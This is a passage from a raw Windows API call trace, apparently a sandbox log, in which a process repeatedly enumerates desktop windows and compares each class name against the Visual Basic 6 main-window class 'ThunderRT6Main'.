lpClassName="IME") returned 3 [0151.460] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.461] GetWindow (hWnd=0x20024, uCmd=0x2) returned 0x10064 [0151.461] GetClassNameA (in: hWnd=0x10064, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0151.461] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0151.461] GetWindow (hWnd=0x10064, uCmd=0x2) returned 0x10052 [0151.461] GetClassNameA (in: hWnd=0x10052, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0151.461] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0151.462] GetWindow (hWnd=0x10052, uCmd=0x2) returned 0x10054 [0151.462] GetClassNameA (in: hWnd=0x10054, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.462] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.462] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x1004c [0151.462] GetClassNameA (in: hWnd=0x1004c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0151.462] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0151.462] GetWindow (hWnd=0x1004c, uCmd=0x2) returned 0x10044 [0151.462] GetClassNameA (in: hWnd=0x10044, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10 [0151.462] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1 [0151.463] GetWindow (hWnd=0x10044, uCmd=0x2) returned 0x20040 [0151.463] GetClassNameA (in: hWnd=0x20040, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8 [0151.463] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1 [0151.463] GetWindow (hWnd=0x20040, uCmd=0x2) returned 0x10042 [0151.463] GetClassNameA (in: hWnd=0x10042, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.463] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.464] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x3003e [0151.464] GetClassNameA (in: hWnd=0x3003e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Dwm") returned 3 [0151.464] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1 [0151.464] GetWindow (hWnd=0x3003e, uCmd=0x2) returned 0x2001e [0151.464] GetClassNameA (in: hWnd=0x2001e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0151.464] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0151.464] GetWindow (hWnd=0x2001e, uCmd=0x2) returned 0x20022 [0151.464] GetClassNameA (in: hWnd=0x20022, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17 [0151.464] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1 [0151.465] GetWindow (hWnd=0x20022, uCmd=0x2) returned 0x100ec [0151.465] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Progman") returned 7 [0151.465] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1 [0151.465] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x0 [0151.465] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x4f7ac70 [0151.465] IMalloc:Free (This=0x7fefecb5380, pv=0x4f7ac70) [0154.230] GetAsyncKeyState (vKey=27) returned 0 [0154.230] GetCurrentThreadId () returned 0xbdc [0154.230] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0154.230] GetDesktopWindow () returned 0x10010 [0154.230] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x400a8 [0154.230] GetClassNameA (in: hWnd=0x400a8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0154.230] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0154.231] GetWindow (hWnd=0x400a8, uCmd=0x2) returned 0x300b6 [0154.231] GetClassNameA (in: hWnd=0x300b6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0154.231] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0154.231] GetWindow (hWnd=0x300b6, uCmd=0x2) returned 0x500a4 [0154.231] GetClassNameA (in: hWnd=0x500a4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0154.231] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0154.232] GetWindow (hWnd=0x500a4, uCmd=0x2) returned 0x1013c [0154.232] GetClassNameA (in: hWnd=0x1013c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ATL:000007FEF4C752C0") returned 20 [0154.232] lstrcmpA (lpString1="ATL:000007FEF4C752C0", lpString2="ThunderRT6Main") returned -1 [0154.232] GetWindow (hWnd=0x1013c, uCmd=0x2) returned 0x10136 [0154.232] GetClassNameA (in: hWnd=0x10136, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.232] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.233] GetWindow (hWnd=0x10136, uCmd=0x2) returned 0x10134 [0154.233] GetClassNameA (in: hWnd=0x10134, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0154.233] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0154.233] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x10076 [0154.233] GetClassNameA (in: hWnd=0x10076, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0154.233] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0154.234] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10074 [0154.234] GetClassNameA (in: hWnd=0x10074, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0154.234] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0154.234] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10060 [0154.234] GetClassNameA (in: hWnd=0x10060, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0154.234] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0154.235] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x1008a [0154.235] GetClassNameA (in: hWnd=0x1008a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0154.235] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0154.235] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x1007e [0154.235] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0154.235] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0154.235] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x1007c [0154.236] GetClassNameA (in: hWnd=0x1007c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0154.236] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0154.236] GetWindow (hWnd=0x1007c, uCmd=0x2) returned 0x10078 [0154.236] GetClassNameA (in: hWnd=0x10078, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0154.236] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0154.236] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10056 [0154.236] GetClassNameA (in: hWnd=0x10056, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0154.237] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0154.237] GetWindow (hWnd=0x10056, uCmd=0x2) returned 0x1004e [0154.237] GetClassNameA (in: hWnd=0x1004e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.237] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.237] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10058 [0154.237] GetClassNameA (in: hWnd=0x10058, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Button") returned 6 [0154.237] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0154.238] GetWindow (hWnd=0x10058, uCmd=0x2) returned 0x10050 [0154.238] GetClassNameA (in: hWnd=0x10050, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0154.238] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0154.238] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f6 [0154.238] GetClassNameA (in: hWnd=0x100f6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0154.238] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0154.239] GetWindow (hWnd=0x100f6, uCmd=0x2) returned 0x5009a [0154.239] GetClassNameA (in: hWnd=0x5009a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0154.239] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0154.239] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c [0154.239] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0154.239] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0154.240] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x102d4 [0154.240] GetClassNameA (in: hWnd=0x102d4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0154.240] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0154.240] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0154.240] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0154.240] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0154.240] GetWindow (hWnd=0x102d4, uCmd=0x2) returned 0x30154 [0154.240] GetClassNameA (in: hWnd=0x30154, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.240] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.241] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0154.241] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0154.241] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0154.241] GetWindow (hWnd=0x30154, uCmd=0x2) returned 0x2029c [0154.241] GetClassNameA (in: hWnd=0x2029c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0154.241] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0154.241] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0154.241] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0154.241] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0154.241] GetWindow (hWnd=0x2029c, uCmd=0x2) returned 0x2038a [0154.241] GetClassNameA (in: hWnd=0x2038a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0154.241] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0154.242] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0154.242] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0154.242] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0154.242] GetWindow (hWnd=0x2038a, uCmd=0x2) returned 0x140264 [0154.242] GetClassNameA (in: hWnd=0x140264, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0154.242] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0154.242] GetWindow (hWnd=0x140264, uCmd=0x2) returned 0x400c0 [0154.242] GetClassNameA (in: hWnd=0x400c0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.242] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.243] GetWindow (hWnd=0x400c0, uCmd=0x2) returned 0x20360 [0154.243] GetClassNameA (in: hWnd=0x20360, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0154.243] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0154.243] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -1946157056 [0154.243] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0154.243] IsWindowEnabled (hWnd=0x20360) returned 0 [0154.243] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0154.243] RemovePropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0154.243] EnableWindow (hWnd=0x20360, bEnable=1) returned 1 [0154.243] GetWindow (hWnd=0x20360, uCmd=0x2) returned 0x2030c [0154.243] GetClassNameA (in: hWnd=0x2030c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0154.243] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0154.244] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0154.244] GetWindow (hWnd=0x2030c, uCmd=0x2) returned 0x10350 [0154.244] GetClassNameA (in: hWnd=0x10350, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0154.244] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0154.244] GetWindow (hWnd=0x10350, uCmd=0x2) returned 0x202ee [0154.244] GetClassNameA (in: hWnd=0x202ee, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0154.244] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0154.245] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0154.245] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0154.245] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0154.245] GetWindow (hWnd=0x202ee, uCmd=0x2) returned 0x302c4 [0154.245] GetClassNameA (in: hWnd=0x302c4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0154.245] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0154.245] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0154.245] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0154.245] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0154.245] GetWindow (hWnd=0x302c4, uCmd=0x2) returned 0x302c2 [0154.245] GetClassNameA (in: hWnd=0x302c2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0154.245] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0154.246] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0154.246] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0154.246] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0154.246] GetWindow (hWnd=0x302c2, uCmd=0x2) returned 0x10270 [0154.246] GetClassNameA (in: hWnd=0x10270, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0154.246] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0154.246] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0154.246] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0154.246] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0154.246] GetWindow (hWnd=0x10270, uCmd=0x2) returned 0x30152 [0154.246] GetClassNameA (in: hWnd=0x30152, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0154.246] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0154.247] GetWindow (hWnd=0x30152, uCmd=0x2) returned 0x3018c [0154.247] GetClassNameA (in: hWnd=0x3018c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ARC Window Class O16") returned 20 [0154.247] lstrcmpA (lpString1="ARC Window Class O16", lpString2="ThunderRT6Main") returned -1 [0154.247] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0154.247] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0154.247] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0154.247] GetWindow (hWnd=0x3018c, uCmd=0x2) returned 0x900a0 [0154.247] GetClassNameA (in: hWnd=0x900a0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0154.247] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0154.248] GetWindow (hWnd=0x900a0, uCmd=0x2) returned 0x10262 [0154.248] GetClassNameA (in: hWnd=0x10262, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.248] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.248] GetWindow (hWnd=0x10262, uCmd=0x2) returned 0x10260 [0154.248] GetClassNameA (in: hWnd=0x10260, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Waiting_window") returned 14 [0154.248] lstrcmpA (lpString1="Waiting_window", lpString2="ThunderRT6Main") returned 1 [0154.249] GetWindow (hWnd=0x10260, uCmd=0x2) returned 0x202bc [0154.249] GetClassNameA (in: hWnd=0x202bc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0154.249] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0154.249] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0154.249] GetWindow (hWnd=0x202bc, uCmd=0x2) returned 0x10292 [0154.249] GetClassNameA (in: hWnd=0x10292, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0154.249] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0154.250] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0154.250] GetWindow (hWnd=0x10292, uCmd=0x2) returned 0x300e6 [0154.250] GetClassNameA (in: hWnd=0x300e6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0154.250] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0154.250] GetWindow (hWnd=0x300e6, uCmd=0x2) returned 0x300be [0154.250] GetClassNameA (in: hWnd=0x300be, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0154.250] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0154.251] GetWindow (hWnd=0x300be, uCmd=0x2) returned 0x300e4 [0154.251] GetClassNameA (in: hWnd=0x300e4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0154.251] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0154.251] GetWindow (hWnd=0x300e4, uCmd=0x2) returned 0x300ca [0154.251] GetClassNameA (in: hWnd=0x300ca, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0154.251] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0154.251] GetWindow (hWnd=0x300ca, uCmd=0x2) returned 0x300d4 [0154.251] GetClassNameA (in: hWnd=0x300d4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0154.252] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0154.252] GetWindow (hWnd=0x300d4, uCmd=0x2) returned 0x400b4 [0154.252] GetClassNameA (in: hWnd=0x400b4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0154.252] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0154.252] GetWindow (hWnd=0x400b4, uCmd=0x2) returned 0x300cc [0154.252] GetClassNameA (in: hWnd=0x300cc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0154.252] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0154.253] GetWindow (hWnd=0x300cc, uCmd=0x2) returned 0x1025e [0154.253] GetClassNameA (in: hWnd=0x1025e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.253] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.253] GetWindow (hWnd=0x1025e, uCmd=0x2) returned 0x1025c [0154.253] GetClassNameA (in: hWnd=0x1025c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Makers_genius_roles_app") returned 23 [0154.253] lstrcmpA (lpString1="Makers_genius_roles_app", lpString2="ThunderRT6Main") returned -1 [0154.254] GetWindow (hWnd=0x1025c, uCmd=0x2) returned 0x10258 [0154.254] GetClassNameA (in: hWnd=0x10258, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="utg2_wnd") returned 8 [0154.254] lstrcmpA (lpString1="utg2_wnd", lpString2="ThunderRT6Main") returned 1 [0154.254] GetWindow (hWnd=0x10258, uCmd=0x2) returned 0x1025a [0154.254] GetClassNameA (in: hWnd=0x1025a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.254] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.255] GetWindow (hWnd=0x1025a, uCmd=0x2) returned 0x10254 [0154.255] GetClassNameA (in: hWnd=0x10254, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="spgagentserviceclass") returned 20 [0154.255] lstrcmpA (lpString1="spgagentserviceclass", lpString2="ThunderRT6Main") returned -1 [0154.255] GetWindow (hWnd=0x10254, uCmd=0x2) returned 0x10256 [0154.255] GetClassNameA (in: hWnd=0x10256, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.255] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.255] GetWindow (hWnd=0x10256, uCmd=0x2) returned 0x20250 [0154.255] GetClassNameA (in: hWnd=0x20250, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="spcwinwnd") returned 9 [0154.255] lstrcmpA (lpString1="spcwinwnd", lpString2="ThunderRT6Main") returned -1 [0154.256] GetWindow (hWnd=0x20250, uCmd=0x2) returned 0x10252 [0154.256] GetClassNameA (in: hWnd=0x10252, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.256] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.256] GetWindow (hWnd=0x10252, uCmd=0x2) returned 0x1024c [0154.256] GetClassNameA (in: hWnd=0x1024c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="omniposcls") returned 10 [0154.256] lstrcmpA (lpString1="omniposcls", lpString2="ThunderRT6Main") returned -1 [0154.257] GetWindow (hWnd=0x1024c, uCmd=0x2) returned 0x1024e [0154.257] GetClassNameA (in: hWnd=0x1024e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.257] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.257] GetWindow (hWnd=0x1024e, uCmd=0x2) returned 0x10248 [0154.257] GetClassNameA (in: hWnd=0x10248, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="mxslipstream") returned 12 [0154.257] lstrcmpA (lpString1="mxslipstream", lpString2="ThunderRT6Main") returned -1 [0154.258] GetWindow (hWnd=0x10248, uCmd=0x2) returned 0x1024a [0154.258] GetClassNameA (in: hWnd=0x1024a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.258] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.258] GetWindow (hWnd=0x1024a, uCmd=0x2) returned 0x10244 [0154.258] GetClassNameA (in: hWnd=0x10244, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="isspos_wnd") returned 10 [0154.258] lstrcmpA (lpString1="isspos_wnd", lpString2="ThunderRT6Main") returned -1 [0154.258] GetWindow (hWnd=0x10244, uCmd=0x2) returned 0x10246 [0154.259] GetClassNameA (in: hWnd=0x10246, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.259] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.259] GetWindow (hWnd=0x10246, uCmd=0x2) returned 0x10240 [0154.259] GetClassNameA (in: hWnd=0x10240, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="fposwin") returned 7 [0154.259] lstrcmpA (lpString1="fposwin", lpString2="ThunderRT6Main") returned -1 [0154.259] GetWindow (hWnd=0x10240, uCmd=0x2) returned 0x10242 [0154.259] GetClassNameA (in: hWnd=0x10242, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.259] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.260] GetWindow (hWnd=0x10242, uCmd=0x2) returned 0x1023c [0154.260] GetClassNameA (in: hWnd=0x1023c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="edcsvr_class") returned 12 [0154.260] lstrcmpA (lpString1="edcsvr_class", lpString2="ThunderRT6Main") returned -1 [0154.260] GetWindow (hWnd=0x1023c, uCmd=0x2) returned 0x1023e [0154.260] GetClassNameA (in: hWnd=0x1023e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.260] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.261] GetWindow (hWnd=0x1023e, uCmd=0x2) returned 0x10238 [0154.261] GetClassNameA (in: hWnd=0x10238, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="creditservice_wnd") returned 17 [0154.261] lstrcmpA (lpString1="creditservice_wnd", lpString2="ThunderRT6Main") returned -1 [0154.261] GetWindow (hWnd=0x10238, uCmd=0x2) returned 0x1023a [0154.261] GetClassNameA (in: hWnd=0x1023a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.261] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.262] GetWindow (hWnd=0x1023a, uCmd=0x2) returned 0x10234 [0154.262] GetClassNameA (in: hWnd=0x10234, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="centralcreditcardwindow") returned 23 [0154.262] lstrcmpA (lpString1="centralcreditcardwindow", lpString2="ThunderRT6Main") returned -1 [0154.262] GetWindow (hWnd=0x10234, uCmd=0x2) returned 0x10236 [0154.262] GetClassNameA (in: hWnd=0x10236, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.262] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.262] GetWindow (hWnd=0x10236, uCmd=0x2) returned 0x10230 [0154.263] GetClassNameA (in: hWnd=0x10230, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ccv_server_cls") returned 14 [0154.263] lstrcmpA (lpString1="ccv_server_cls", lpString2="ThunderRT6Main") returned -1 [0154.263] GetWindow (hWnd=0x10230, uCmd=0x2) returned 0x10232 [0154.263] GetClassNameA (in: hWnd=0x10232, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0154.263] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0154.263] GetWindow (hWnd=0x10232, uCmd=0x2) returned 0x1022c [0154.263] GetClassNameA (in: hWnd=0x1022c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="aldelo_window") returned 13 [0154.263] lstrcmpA (lpString1="aldelo_window", lpString2="ThunderRT6Main") returned -1 [0154.264] GetWindow (hWnd=0x1022c, 